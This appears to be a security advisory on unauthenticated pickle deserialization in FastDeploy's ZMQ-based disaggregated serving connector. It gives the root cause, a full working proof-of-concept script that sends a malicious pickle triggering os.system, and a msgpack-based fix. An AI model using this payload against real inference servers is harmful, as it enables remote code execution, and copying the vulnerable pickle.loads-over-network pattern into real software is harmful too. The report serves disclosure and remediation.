Unauthenticated pickle deserialization via ZMQ wildcard bind in splitwise P/D disaggregated serving

Summary

FastDeploy's splitwise connector (splitwise_connector.py) binds a ZMQ ROUTER socket on tcp://* (all network interfaces, 0.0.0.0) and calls pickle.loads() on received frames with no authentication. Any host that can reach the port sends a crafted pickle payload and achieves arbitrary code execution on the inference worker.

Affected Version

• Repository: https://github.com/PaddlePaddle/FastDeploy
• Branch: develop (latest)
• File: fastdeploy/splitwise/splitwise_connector.py:78,389

he vulnerable socket is bound ONLY when splitwise_role != "mixed"
(splitwise_connector.py:59 gates _init_network()). The default is splitwise_role="mixed"
(engine/args_utils.py:359), which does NOT bind this socket — so a default single-node deployment is
not exposed. The vulnerability is reached when the operator runs P/D-disaggregated serving
(--splitwise-role prefill|decode).

1. Dedicated documentation page —
   docs/features/disaggregated.md
   provides a full deployment guide titled "Disaggregated Deployment", with
   Quick Start instructions that directly tell users to run --splitwise-role prefill and
   --splitwise-role decode.

2. Official example scripts —
   examples/splitwise/
   ships start_v1_tp1.sh, start_v1_tp2.sh, start_v1_dp2.sh — production-ready launch scripts
   with --splitwise-role prefill|decode.

Root Cause

# fastdeploy/splitwise/splitwise_connector.py:73-78 — ZMQ ROUTER bind
def _init_network(self):
    self.router_socket = self.zmq_ctx.socket(zmq.ROUTER)
    self.router_socket.setsockopt(zmq.LINGER, 0)
    self.router_socket.setsockopt(zmq.SNDHWM, 1000)
    self.router_socket.setsockopt(zmq.ROUTER_MANDATORY, 1)
    self.router_socket.bind(f"tcp://*:{self.cfg.cache_config.local_pd_comm_port}")  # ← 0.0.0.0

# fastdeploy/splitwise/splitwise_connector.py:367-390 — pickle.loads on network data
def _deserialize_message(self, frames: List[bytes]):
    main_bytes = frames[1]
    buffers = frames[2:]
    message = pickle.loads(main_bytes, buffers=buffers)  # ← RCE sink
    return message["type"], message["payload"]

• tcp://* binds on ALL network interfaces — exposed to the entire network
• pickle.loads() deserializes arbitrary bytes from the ZMQ ROUTER socket
• No authentication, no encryption, no signature verification
• Triggered in P/D-disaggregated deployments when splitwise_role != "mixed"

Steps to Reproduce

python poc.py

poc.py

#!/usr/bin/env python3
import subprocess, sys, os

INNER = r"""
import subprocess, sys, os, types

REPO = "/opt/FastDeploy"
subprocess.run(["git", "clone", "--depth=1",
                "https://github.com/PaddlePaddle/FastDeploy.git", REPO],
               check=True, capture_output=True)

subprocess.run([sys.executable, "-m", "pip", "install", "-q", "--root-user-action=ignore",
                "paddlepaddle"], check=True, capture_output=True)
reqs = open(os.path.join(REPO, "requirements.txt")).read().splitlines()
skip = {"cupy-cuda12x","triton","paddlecodec","paddleformers","visualdl",
        "moviepy","p2pstore","fast_dataindex","aistudio_sdk",
        "flashinfer-python-paddle","xlwt","gradio"}
deps = []
for r in reqs:
    r = r.strip()
    if not r or r.startswith("#") or r.startswith("http"):
        continue
    n = r.split(">=")[0].split("<=")[0].split("==")[0].split(">")[0].split("<")[0].split("[")[0].split("@")[0].strip()
    if n.lower().replace("-","_") not in {s.replace("-","_") for s in skip}:
        deps.append(r)
subprocess.run([sys.executable, "-m", "pip", "install", "-q", "--root-user-action=ignore"] + deps,
               check=True, capture_output=True)

init_path = os.path.join(REPO, "fastdeploy", "__init__.py")
src = open(init_path).read()
cut = src.find("from paddleformers")
if cut > 0:
    open(init_path, "w").write(src[:cut])

class _Shim:
    _PFX = ("paddleformers","aistudio_sdk","fast_dataindex","p2pstore",
            "paddlecodec","visualdl","moviepy","cupy","triton",
            "use_triton_in_paddle","flashinfer")
    def find_module(self, name, path=None):
        return self if any(name == p or name.startswith(p+".") for p in self._PFX) else None
    def load_module(self, name):
        if name in sys.modules: return sys.modules[name]
        m = types.ModuleType(name); m.__path__ = []; m.__package__ = name; m.__loader__ = self
        class _P(type(m)):
            def __getattr__(c, n):
                return type(n, (), {"__init__": lambda *a,**k: None,
                                    "__getattr__": lambda s,n: lambda *a,**k: None})()
        m.__class__ = _P; sys.modules[name] = m; return m

sys.meta_path.append(_Shim())
sys.path.insert(0, REPO)

from fastdeploy.splitwise.splitwise_connector import SplitwiseConnector

for mod in ["fastdeploy.splitwise.splitwise_connector", "fastdeploy.envs",
            "fastdeploy.engine.request", "fastdeploy.metrics.metrics", "fastdeploy.utils"]:
    f = getattr(sys.modules[mod], "__file__", "")
    assert f.endswith(".py") and "/FastDeploy/" in f, f"{mod} not real: {f}"

import zmq, pickle, threading, time

MARKER = "/tmp/FASTDEPLOY_PWNED"
PORT = 19998

class Cfg:
    class parallel_config:
        local_data_parallel_id = 0
        data_parallel_size = 1
    class scheduler_config:
        splitwise_role = "prefill"
    class cache_config:
        local_pd_comm_port = PORT

class Q:
    def put_disaggregated_tasks(self, *a): pass
    def put_cache_info(self, *a): pass

conn = SplitwiseConnector(Cfg, Q(), None)
threading.Thread(target=conn.start_receiver, daemon=True).start()
time.sleep(0.5)

class X:
    def __reduce__(self):
        return (os.system, (f"id > {MARKER}",))

ctx = zmq.Context()
s = ctx.socket(zmq.DEALER)
s.setsockopt(zmq.LINGER, 0)
s.connect(f"tcp://127.0.0.1:{PORT}")
s.send_multipart([pickle.dumps(X(), protocol=5)])
time.sleep(2)
s.close(); ctx.term()

assert os.path.exists(MARKER), "exploit failed"
print(f"RCE CONFIRMED: {open(MARKER).read().strip()}")
"""

def main():
    d = os.path.dirname(os.path.abspath(__file__))
    p = os.path.join(d, "_inner.py")
    open(p, "w").write(INNER)
    subprocess.run(["docker", "pull", "-q", "python:3.11-slim"],
                   check=True, capture_output=True)
    r = subprocess.run(
        ["docker", "run", "--rm", "-v", f"{p}:/poc.py:ro", "python:3.11-slim",
         "bash", "-c", "apt-get update -qq && apt-get install -y -qq git >/dev/null 2>&1 && python3 /poc.py"],
        text=True, timeout=600)
    os.remove(p)
    print(r.stdout)
    sys.exit(r.returncode)

if __name__ == "__main__":
    main()

Suggested Fix

1. Replace pickle.loads with safe serialization (msgpack / protobuf / struct):

import msgpack

def _deserialize_message(self, frames):
    main_bytes = frames[1]
    message = msgpack.unpackb(main_bytes, raw=False)
    return message["type"], message["payload"]

def _serialize_message(self, msg_type, payload):
    if msg_type in ("decode", "prefill"):
        payload = [output.to_dict() for output in payload]
    data = {"type": msg_type, "payload": payload}
    return [msgpack.packb(data, use_bin_type=True)]